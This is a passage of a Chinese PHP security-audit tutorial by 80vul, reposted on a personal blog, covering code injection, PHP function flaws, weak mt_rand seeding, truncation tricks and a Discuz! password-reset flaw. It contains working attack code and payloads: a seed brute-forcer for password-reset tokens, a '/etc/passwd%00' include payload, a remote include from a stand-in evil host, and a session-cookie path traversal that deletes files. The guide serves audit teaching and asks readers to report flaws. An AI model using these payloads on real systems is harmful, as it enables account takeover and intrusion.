//keyvul.php?aaa'aa=1'
//magic_quotes_gpc = Off
 if (!get_magic_quotes_gpc())
{
 $_GET  = addslashes_array($_GET);
}

function addslashes_array($value)
{
        return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
}
print_R($_GET);
foreach ($_GET AS $key => $value)
{
 print $key;
}
?>
-------------------------------------------------------------------------------

    以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的具体
的值,但是没有处理变量本身的key,上面的代码显示结果如下:
 
Array
(
    [aaa'aa] => 1\'
)
aaa'aa

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.4 代码注射

5.4.1 PHP中可能导致代码注射的函数

    很多人都知道eval、preg_replace+/e可以执行代码,但是不知道php还有很多的函数可
以执行代码如:

assert()
call_user_func()
call_user_func_array()
create_function()
变量函数
...

    这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:

--code-------------------------------------------------------------------------
<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
       ';
usort($databases, create_function('$a, $b', $sort_function));
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)
+++++++++++++++++++++++++


5.4.2 变量函数与双引号
    
    对于单引号和双引号的区别,很多程序员深有体会,示例代码:

--code-------------------------------------------------------------------------
echo "$a\n";
echo '$a\n';
-------------------------------------------------------------------------------

    我们再看如下代码:

--code-------------------------------------------------------------------------
//how to exp this code
if($globals['bbc_email']){

$text = preg_replace(
  array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
    "/\[email\](.*?)\[\/email\]/ies"),
  array('check_email("$1", "$2")',
    'check_email("$1", "$1")'), $text);
-------------------------------------------------------------------------------
      
    另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里,这样很
容易被人注射变量函数。
  
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.5 PHP自身函数漏洞及缺陷
    
5.5.1 PHP函数的溢出漏洞

    大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录[2])项目么,其中比较
有名的要算是unserialize(),代码如下:

--code-------------------------------------------------------------------------
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
-------------------------------------------------------------------------------

    在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的
时候不要忘记了测试目标使用的PHP版本信息。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:对应fix的版本
系统要求:
审计策略:查找对应函数名
+++++++++++++++++++++++++


5.5.2 PHP函数的其他漏洞

    Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability
   
    比如phpwind早期的serarch.php里的代码:

--code-------------------------------------------------------------------------
unset($uids);
......
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db->fetch_array($query)){
 $uids .= $member['uid'].',';
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
-------------------------------------------------------------------------------
   
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:php4<4.3 php5<5.14
系统要求:无
审计策略:查找unset
+++++++++++++++++++++++++


5.5.3 session_destroy()删除文件漏洞(测试PHP版本:5.1.2)
   
    这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,
很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老
的版本中缺少过滤导致可以删除任意文件。测试代码如下:

--code-------------------------------------------------------------------------
<?php
//val.php  
session_save_path('./');
session_start();
if($_GET['del']) {
 session_unset();
 session_destroy();
}else{
 $_SESSION['hei']=1;
 echo(session_id());
 print_r($_SESSION);
}
?>
-------------------------------------------------------------------------------

    当我们提交构造cookie:PHPSESSID=/../1.php,相当于unlink('sess_/../1.php')这样
就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,
sablog,phpwind3等等。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:具体不详
系统要求:无
审计策略:查找session_destroy
+++++++++++++++++++++++++


5.5.4 随机函数
   
1) rand() VS mt_rand()

--code-------------------------------------------------------------------------
<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>
-------------------------------------------------------------------------------

    可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。

--code-------------------------------------------------------------------------
<?php
$a= md5(rand());
for($i=0;$i<=32767;$i++){
  if(md5($i) ==$a ) {
   print $i."-->ok!!<br>";exit;
   }else { print $i."<br>";}
}
?>
-------------------------------------------------------------------------------

    当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于
mt_rand是很难单纯的暴力的。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找rand
+++++++++++++++++++++++++


2) mt_srand()/srand()-weak seeding(by Stefan Esser)
   
    看php手册里的描述:

-------------------------------------------------------------------------------
mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand -- 播下一个更好的随机数发生器种子
说明
void mt_srand ( int seed )


用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空
时,会被设为随时数。

例子 1. mt_srand() 范例

<?php
// seed with microseconds
function make_seed()
{
    list($usec, $sec) = explode(' ', microtime());
    return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?> 
 
注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已
自动完成。
-------------------------------------------------------------------------------

    php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:

--code-------------------------------------------------------------------------
mt_srand ((double) microtime() * 1000000)
-------------------------------------------------------------------------------

    但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

    那么很容易暴力破解,测试代码如下:

--code-------------------------------------------------------------------------
<?php
/////////////////
//>php rand.php
//828682
//828682
////////////////
ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."\n";
mt_srand ($time);

$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed++){
 mt_srand($seed);
 $key = mt_rand();
 if($key==$rand_num) return $seed;
}
return false;
}
?>
-------------------------------------------------------------------------------

    从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化
而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是
特定的。如下图:

+--------------+
|   seed-A     |
+--------------+
| mt_rand-A-1  |
| mt_rand-A-2  |
| mt_rand-A-3  |
+--------------+

+--------------+
|   seed-B     |
+--------------+
| mt_rand-B-1  |
| mt_rand-B-2  |
| mt_rand-B-3  |
+--------------+

    对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于
seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次
mt_rand的值了。

    对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以
为这样就是安全的),这个要分两种情况来分析:

第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用
其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree组
合就存在这样的危险.

第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

-------------------------------------------------------------------------------
The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5
<= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only
31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne
Twister was changed and the forced bit removed.
-------------------------------------------------------------------------------

    在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解
seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录
[3]),测试代码如下:

--code-------------------------------------------------------------------------
<?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."\n".$b;
?>
-------------------------------------------------------------------------------

    通过上面的代码发现$a==$b,所以我们循环的次数为2^32/2=2^31次。我们看如下代码:

--code-------------------------------------------------------------------------
<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0

define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1

$key = wp_generate_password(20, false);
echo $key."\n";
$seed = getseed($key);
print $seed."\n";

mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n"; 
 
function wp_generate_password($length = 12, $special_chars = true) {
 $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
 if ( $special_chars )
  $chars .= '!@#$%^&*()';

 $password = '';
 for ( $i = 0; $i < $length; $i++ )
  $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
 return $password;
}

function getseed($resetkey) {
 $max = pow(2,(32-BUGGY));
 for($x=0;$x<=$max;$x++) {
  $seed = BUGGY ? ($x << 1) + 1 : $x;
  mt_srand($seed);
  $testkey = wp_generate_password(20,false);
  if($testkey==$resetkey) { echo "o\n"; return $seed; }

  if(!($x % 10000)) echo $x / 10000;
 }
 echo "\n";
 return false;
}
?>
-------------------------------------------------------------------------------

    运行结果如下:

-------------------------------------------------------------------------------
php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr
-------------------------------------------------------------------------------

    当10634次时候我们得到了结果。

    当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致
了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:

--code-------------------------------------------------------------------------
<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493   
?>
-------------------------------------------------------------------------------

    正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也
要是>5.20的版本,反过来也是一样。

    从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安
全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样
的后果就是被攻击者恶意利用直接修改密码。

    很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将
实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:php4 php5<5.2.6
系统要求:无
审计策略:查找mt_srand/mt_rand
+++++++++++++++++++++++++


5.6 特殊字符

    其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用
的一类字符。下面就举几个例子:
  
5.6.1 截断

    其中最有名的数大家都熟悉的null字符截断。

5.6.1.1 include截断

--code-------------------------------------------------------------------------
<?php
include $_GET['action'].".php";
?>
-------------------------------------------------------------------------------

    提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有
其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交
“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个
看上去不是那么舒服那么我们简单写个代码fuzz一下:

--code-------------------------------------------------------------------------
<?php
////////////////////
////var5.php代码:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']); 
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
 $str=$str."/";

 $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
 //1.txt里的代码为print 'hi';
 if (strpos($resp, 'hi') !== false){
  print $i;
  exit;
 }
}
?>
-------------------------------------------------------------------------------

    经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix
的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于
256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候
就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])


5.6.1.2 数据截断
   
    对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应
用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然
而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数
据。
   
1) Mysql SQL Column Truncation Vulnerabilities
  
    这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql
的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超
长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截
断问题。测试如下:
   
--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");

mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass     |
| 2 | admin      | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------

2) Mysql charset Truncation vulnerability
   
    这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据
截断。测试如下:
   
--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass      |
| 2 | admin      | new_pass  |
| 3 | admin      | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------
   
    很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同
数据,如下代码:

--code-------------------------------------------------------------------------
$result = mysql_query("SELECT * from test_user where user='$user' ");
  ....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
 die("already exist");
}
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.6.1.3 文件操作里的特殊字符
   
    文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字
符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个
主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“.\..\”
进行系统转跳等等。
   
    下面还给大家介绍一个非常有意思的问题:

--code-------------------------------------------------------------------------
//Is this code vul?
if( eregi(".php",$url) ){
 die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);
-------------------------------------------------------------------------------
   
    很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了
个str_replace替换$webdb[www_url]为空,那么我们提交“.p$webdb[www_url]hp”就可以饶过
了。那么上面的代码杂fix呢?有人给出了如下代码:

--code-------------------------------------------------------------------------
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
 die("ERR");
}
-------------------------------------------------------------------------------

    str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那
么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:

--code-------------------------------------------------------------------------
<?php
for($i=0;$i<255;$i++) {
 $url = '1.ph'.chr($i);
 $tmp = @file_get_contents($url);
 if(!empty($tmp)) echo chr($i)."\r\n";
} 
?>
-------------------------------------------------------------------------------

    我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:文读取件操作函数
+++++++++++++++++++++++++


六、怎么进一步寻找新的字典

    上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一
步找到新的字典或者利用方式呢?

    * 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典。
   
    * 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式。
   
    * fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分
很多都可以简单的fuzz脚本可以测试出来。
   
    * 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审
计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础
上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会
陆续公布一些我们对php源代码的分析)
   
    * 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽
视的问题
   
    * 你有什么要补充的吗? :)
 

七、DEMO

    * DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
    (Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)

    PHP版本要求:php4 php5<5.2.6
    系统要求: 无
    审计策略:查找mt_srand/mt_rand

    第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:

-------------------------------------------------------------------------------
heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
./include/global.func.php-700-  if($numeric) {
./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702-  } else {
./include/global.func.php-703-          $hash = '';
./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40-       if($attach['attachimg']) {
-------------------------------------------------------------------------------

    有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

--code-------------------------------------------------------------------------
 PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------

    判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分
析我们可以看得出来,使用php本身默认的播种的分程序两种情况:

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似
mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需
要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:

--code-------------------------------------------------------------------------
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------

    这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用
的流程有兴趣的可以自己分析下])

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就
不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不
利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播种的算法也不是很强
悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。


八、后话

    本文是80vul的三大马甲:80vul-A,80vul-B,80vul-C集体智慧的结晶,尤其是80vul-B贡
献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者,没有他们的成果也就
没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇
幅就没有一一列举,有心的读者可以自行google。另外原本没有打算公布此文,因为里面包含
了太多应用程序的0day,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来
炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你
找到了某些应用程序的0day,请低调处理,或者直接提交给官方修补,谢谢大家!!


九、附录

[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114

-EOF-

网络安全
引用地址:
注意: 该地址仅在今日23:59:59之前有效
分页: 10/36 第一页 上页 5 6 7 8 9 10 11 12 13 14 下页 最后页 [ 显示模式: 摘要 | 列表 ]
公告
需要添加链接的同学们,可以申请链接哦!
RSS feed Email feed
分类
  • 默认分类 [12] RSS
  • 心情杂语 [47] RSS
  • Linux 平台 [22] RSS
  • Windows 平台 [29] RSS
  • Web 开发 [35] RSS
  • Mysql [8] RSS
  • 网络技术 [9] RSS
  • 投资理财 [1] RSS
  • 软件逆向 [5] RSS
  • 网络安全 [3] RSS
  • 网络杂文 [3] RSS
  • 道听途说 [5] RSS
日历
< 2010 >    < 9 >
庚寅年(虎)
日 一 二 三 四 五 六
1234
567891011
12131415161718
19202122232425
2627282930
统计
访问次数 126876
今日访问 297
日志数量 178
评论数量 28
引用数量 0
留言数量 3
注册用户 1
在线人数 15
搜索
最新日志
  • MYSQL的优化[转]
  • PHP代码审计工具
  • Mrtg系统状态监控[C...
  • Awk学习笔记
  • PHP 生成中文验证码乱...
最新评论
  • 大量出售成品:(植物冰)...
  • 大量出售成品:(植物冰)...
  • ok,Replica O...
  • Recommend:le...
  • Keygen.exe 文...
链接
  • 友情链接
  • Jansfer
  • 阻击者的网络通行证
  • 大面面的博客
  • 华立的博客
  • 中国看电影CNKDY.COM
  • 爱书网
  • 噢噢动漫
  • DJ噢噢
  • QQ空间代理、代码查询
  • QQ空间查询器
  • 福建游戏论坛
  • kakapo's nest
  • 我爱美眉
  • 常用工具
  • 生活常用工具
  • 铁路客服中心
  • 网易文档
归档
  • 2010/09
  • 2010/08
  • 2010/07
  • 2010/06
  • 2010/05
其他
登入
注册
申请链接
RSS: 日志 | 评论
编码:UTF-8
XHTML 1.0

Top bo-blog
Copyright © 忆风居. Powered by Bo-Blog 2.1.1 ReleaseCode detection by Bug.Center.Team
闽ICP备09070078号
Valid XHTML 1.1 and CSS 3